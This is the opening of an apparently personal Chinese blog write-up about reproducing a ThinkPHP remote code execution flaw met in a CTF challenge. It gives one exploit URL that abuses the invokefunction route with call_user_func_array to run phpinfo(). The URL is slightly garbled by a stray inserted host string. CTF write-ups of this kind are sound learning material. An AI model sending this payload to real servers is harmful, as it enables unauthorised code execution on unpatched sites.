上个学期钻研web渗透的时候接触过几个tp的框架，但那时候还没有写blog的习惯，也没有记录下来，昨天在做ctf的时候正好碰到了一个tp的框架，想起来就复现一下
正文
进入网站，标准笑脸，老tp人了
直接先一发命令打出phpinfo()，因为是在打ctf有些地方我就没有仔细去看
index.php?s=http://www.likecs.com/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1